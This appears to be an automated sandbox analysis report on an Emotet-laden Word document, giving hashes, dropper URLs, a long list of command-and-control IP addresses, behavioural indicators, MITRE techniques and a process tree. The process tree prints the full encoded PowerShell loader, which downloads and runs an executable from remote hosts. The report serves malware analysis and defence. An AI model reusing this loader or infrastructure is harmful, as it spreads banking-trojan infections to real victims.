emotet | 5a46b7453ab371c28e2d0579740f747b1eb714014cd186bb2ca3ea43715a9902

General

Target
emotet_e3_5a46b7453ab371c28e2d0579740f747b1eb714014cd186bb2ca3ea43715a9902_2020-08-17__224454._doc.doc
Size 235KB
Sample200817-dc97h597nx
SHA256 5a46b7453ab371c28e2d0579740f747b1eb714014cd186bb2ca3ea43715a9902
MD5 9e9b2326c8b8de7f3e357fdef17f054f
SHA1 bfb584911a73940f61a03e7e19472241d1ff7bb8
SHA512 e8ea1ac41ea0d8a3c8040ba942206fde8c51bfe955e17c3581d756eb99d05369829cea02787ccb6149baefd586780426428c9d33415902eb2fd1e127a34ddf8a
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://b3shop.net/calendar/LgZgcv/
exe.dropper
http://magazine-lib.com/wp-content/3nng7e9a6b416342/
exe.dropper
http://nourishmentjuices.com/wp-content/mkyecobz2597/
exe.dropper
http://marthecornelie.com/pcntb/wyqAVe3g95374/
exe.dropper
https://haikouweixun.com/jn5/z08vog5472/

Extracted

Family

emotet

C2

186.109.104.67:80
185.86.148.68:443
139.99.157.213:8080
203.153.216.178:7080
192.163.221.191:8080
201.235.10.215:80
37.46.129.215:8080
78.189.60.109:443
77.74.78.80:443
143.95.101.72:8080
188.251.213.180:443
31.146.61.34:80
190.53.144.120:80
105.209.235.113:8080
115.78.11.155:80
172.96.190.154:8080
50.116.78.109:8080
188.0.135.237:80
179.62.238.49:80
197.83.232.19:80
92.24.51.238:80
115.165.3.213:80
177.144.130.105:443
139.59.12.63:8080
107.161.30.122:8080
182.176.95.147:80
181.134.9.162:80
179.5.118.12:80
198.57.203.63:8080
51.38.201.19:7080
187.64.128.197:80
176.9.93.82:7080
115.79.195.246:80
46.105.131.68:8080
91.83.93.103:443
87.106.231.60:8080
195.201.56.70:8080
185.142.236.163:443
181.114.114.203:80
192.241.220.183:8080
182.187.139.200:8080
217.199.160.224:8080
190.190.15.20:80
46.32.229.152:8080
202.5.47.71:80
71.57.180.213:80
178.33.167.120:8080
181.113.229.139:443
66.61.94.36:80
216.75.37.196:8080
86.57.216.23:80
74.208.173.91:8080
81.214.253.80:443
172.105.78.244:8080
157.7.164.178:8081
185.208.226.142:8080
177.94.227.143:80
105.213.67.88:80
97.104.107.190:80
5.79.70.250:8080
75.127.14.170:8080
81.17.93.134:80
41.185.29.128:8080
190.212.140.6:80
113.161.148.81:80
177.32.8.85:80
105.184.233.166:80
201.213.177.139:80
177.37.81.212:443
192.210.217.94:8080
190.164.75.175:80
41.84.237.198:443
212.112.113.235:80
203.153.216.182:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2552	904	powersheLL.exe	67

Emotet Payload 5 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2628-13-0x0000000000A60000-0x0000000000A6C000-memory.dmp	emotet
behavioral2/memory/2628-13-0x0000000000A60000-0x0000000000A6C000-memory.dmp	emotet
behavioral2/memory/568-16-0x0000000000920000-0x000000000092C000-memory.dmp	emotet
behavioral2/memory/568-16-0x0000000000920000-0x000000000092C000-memory.dmp	emotet
behavioral2/memory/2628-18-0x0000000000000000-mapping.dmp	emotet

ServiceHost packer 1 IoCs

Detects ServiceHost packer used for .NET malware

resource	yara_rule
behavioral2/memory/2628-18-0x0000000000000000-mapping.dmp	servicehost

Blacklisted process makes network request 3 IoCs

flow	pid	Process
16	2552	powersheLL.exe
18	2552	powersheLL.exe
20	2552	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2628	Ojrv0x9y.exe
568	TRACERT.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\dpnhpast\TRACERT.exe	Ojrv0x9y.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3372	2628	WerFault.exe	77

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
412	WINWORD.EXE
412	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
2552	powersheLL.exe
2552	powersheLL.exe
2552	powersheLL.exe
568	TRACERT.exe
568	TRACERT.exe
3372	WerFault.exe
3372	WerFault.exe
3372	WerFault.exe
3372	WerFault.exe
3372	WerFault.exe
3372	WerFault.exe
3372	WerFault.exe
3372	WerFault.exe
3372	WerFault.exe
3372	WerFault.exe
3372	WerFault.exe
3372	WerFault.exe
3372	WerFault.exe
3372	WerFault.exe
3372	WerFault.exe
568	TRACERT.exe
568	TRACERT.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2552	powersheLL.exe
Token: SeRestorePrivilege	3372	WerFault.exe
Token: SeBackupPrivilege	3372	WerFault.exe
Token: SeDebugPrivilege	3372	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
412	WINWORD.EXE
412	WINWORD.EXE
412	WINWORD.EXE
412	WINWORD.EXE
412	WINWORD.EXE
412	WINWORD.EXE
412	WINWORD.EXE
412	WINWORD.EXE
412	WINWORD.EXE
2628	Ojrv0x9y.exe
2628	Ojrv0x9y.exe
568	TRACERT.exe
568	TRACERT.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2552 wrote to memory of 2628	2552	powersheLL.exe	77
PID 2552 wrote to memory of 2628	2552	powersheLL.exe	77
PID 2552 wrote to memory of 2628	2552	powersheLL.exe	77
PID 2628 wrote to memory of 568	2628	Ojrv0x9y.exe	79
PID 2628 wrote to memory of 568	2628	Ojrv0x9y.exe	79
PID 2628 wrote to memory of 568	2628	Ojrv0x9y.exe	79

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_5a46b7453ab371c28e2d0579740f747b1eb714014cd186bb2ca3ea43715a9902_2020-08-17__224454._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:412

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABYAHEAeQB4AGYAcwB2AD0AKAAnAE4ANQAnACsAJwBjAGEAYwB2ADgAJwApADsAJgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQARQBOAHYAOgBUAGUAbQBwAFwATwBmAEYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAHUAYABSAGAASQBUAGAAWQBQAHIAbwBUAE8AYABDAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAJwArACcAcwAxADIALAAnACsAJwAgAHQAbABzACcAKwAnADEAMQAnACsAJwAsACAAdABsAHMAJwApADsAJABaADQAOABkADcAYwB4ACAAPQAgACgAJwBPAGoAJwArACcAcgAnACsAJwB2ADAAeAA5AHkAJwApADsAJABOAHoAawAyAGYAdABfAD0AKAAnAEYAYwAnACsAJwB4ADUAZQB3ACcAKwAnAG4AJwApADsAJABXADUAZwBxAHgAYgA2AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBqACcAKwAnAEwAYwAnACsAJwBPAGYAZgBpAGMAZQAyADAAMQA5ACcAKwAnAGoATAAnACsAJwBjACcAKQAuACIAcgBlAHAAbABgAEEAQwBFACIAKAAoAFsAQwBoAEEAcgBdADEAMAA2ACsAWwBDAGgAQQByAF0ANwA2ACsAWwBDAGgAQQByAF0AOQA5ACkALAAnAFwAJwApACkAKwAkAFoANAA4AGQANwBjAHgAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEcAOAA0ADAANgBwAHAAPQAoACcARQB0AHcAJwArACcAdgBiAGUAJwArACcAawAnACkAOwAkAEYAbABfAG0AcABlAGMAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAQwBsAEkARQBOAHQAOwAkAFMANgBfAHkAZAB5AGkAPQAoACcAaAB0AHQAcAA6AC8AJwArACcALwBiADMAcwBoAG8AcAAnACsAJwAuAG4AZQB0ACcAKwAnAC8AJwArACcAYwBhAGwAJwArACcAZQBuACcAKwAnAGQAYQAnACsAJwByAC8ATABnAFoAZwBjAHYALwAqAGgAdAB0AHAAOgAvAC8AbQBhAGcAYQB6AGkAbgBlAC0AJwArACcAbABpAGIALgBjAG8AJwArACcAbQAvAHcAJwArACcAcAAtAGMAbwBuAHQAZQAnACsAJwBuAHQAJwArACcALwAnACsAJwAzAG4AbgBnADcAZQA5AGEANgBiACcAKwAnADQAMQA2ADMANAAyAC8AKgBoAHQAdABwADoALwAvACcAKwAnAG4AbwB1AHIAJwArACcAaQBzAGgAJwArACcAbQBlAG4AdABqAHUAJwArACcAaQBjAGUAJwArACcAcwAuAGMAbwAnACsAJwBtAC8AJwArACcAdwBwAC0AJwArACcAYwBvAG4AJwArACcAdAAnACsAJwBlACcAKwAnAG4AdAAnACsAJwAvAG0AawAnACsAJwB5AGUAYwBvAGIAegAyADUAJwArACcAOQA3ACcAKwAnAC8AJwArACcAKgBoAHQAdAAnACsAJwBwADoALwAvAG0AYQByACcAKwAnAHQAaAAnACsAJwBlAGMAbwByAG4AZQBsAGkAZQAuAGMAJwArACcAbwBtAC8AcABjAG4AdABiAC8AdwB5AHEAQQBWAGUAMwBnADkANQAzADcAJwArACcANAAvACoAJwArACcAaAB0AHQAJwArACcAcABzADoALwAvAGgAYQBpACcAKwAnAGsAbwAnACsAJwB1ACcAKwAnAHcAZQBpAHgAdQBuAC4AYwAnACsAJwBvAG0ALwBqAG4ANQAnACsAJwAvAHoAJwArACcAMAAnACsAJwA4AHYAbwBnADUANAA3ADIALwAnACkALgAiAHMAcABMAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWgB5AHgANQBrAGcAbwA9ACgAJwBDAGcANwAnACsAJwBzACcAKwAnAGoANwBxACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAcgBrAF8AZAByADIAIABpAG4AIAAkAFMANgBfAHkAZAB5AGkAKQB7AHQAcgB5AHsAJABGAGwAXwBtAHAAZQBjAC4AIgBEAGAATwB3AGAATgBMAG8AYQBkAGYAaQBgAGwAZQAiACgAJABCAHIAawBfAGQAcgAyACwAIAAkAFcANQBnAHEAeABiADYAKQA7ACQARABtADEAMQBlADEAZgA9ACgAJwBHAG8AJwArACcAdgAnACsAJwB3ADgAcAA0ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABXADUAZwBxAHgAYgA2ACkALgAiAEwARQBuAGcAYABUAEgAIgAgAC0AZwBlACAAMgAxADYANwAyACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawAnACsAJwBlAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAFcANQBnAHEAeABiADYAKQA7ACQAQwA2AHIAMAB0ADAAZAA9ACgAJwBOADcAegB1ADkAJwArACcAeAAnACsAJwBrACcAKQA7AGIAcgBlAGEAawA7ACQAWgBxAHoAcAB2AHAAagA9ACgAJwBPAHUAOAB2ACcAKwAnADMAbwB5ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQAxAGYAYgBfAHoAdgA9ACgAJwBRACcAKwAnAGgAdwA2AHIAdABtACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2552
- C:\Users\Admin\AppData\Local\Temp\Office2019\Ojrv0x9y.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Ojrv0x9y.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2628
- - C:\Windows\SysWOW64\dpnhpast\TRACERT.exe
    "C:\Windows\SysWOW64\dpnhpast\TRACERT.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:568
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2628 -s 392
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3372

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/412-0-0x00007FF9D72B0000-0x00007FF9D7976000-memory.dmp

Download

memory/568-16-0x0000000000920000-0x000000000092C000-memory.dmp

Download

memory/2552-9-0x000001CE29E50000-0x000001CE29E51000-memory.dmp

Download

memory/2552-8-0x000001CE29B90000-0x000001CE29B91000-memory.dmp

Download

memory/2552-7-0x00007FF9CF5B0000-0x00007FF9CFF9C000-memory.dmp

Download

memory/2628-13-0x0000000000A60000-0x0000000000A6C000-memory.dmp

Download

memory/3372-17-0x0000000004440000-0x0000000004441000-memory.dmp

Download

memory/3372-20-0x0000000004C10000-0x0000000004C11000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads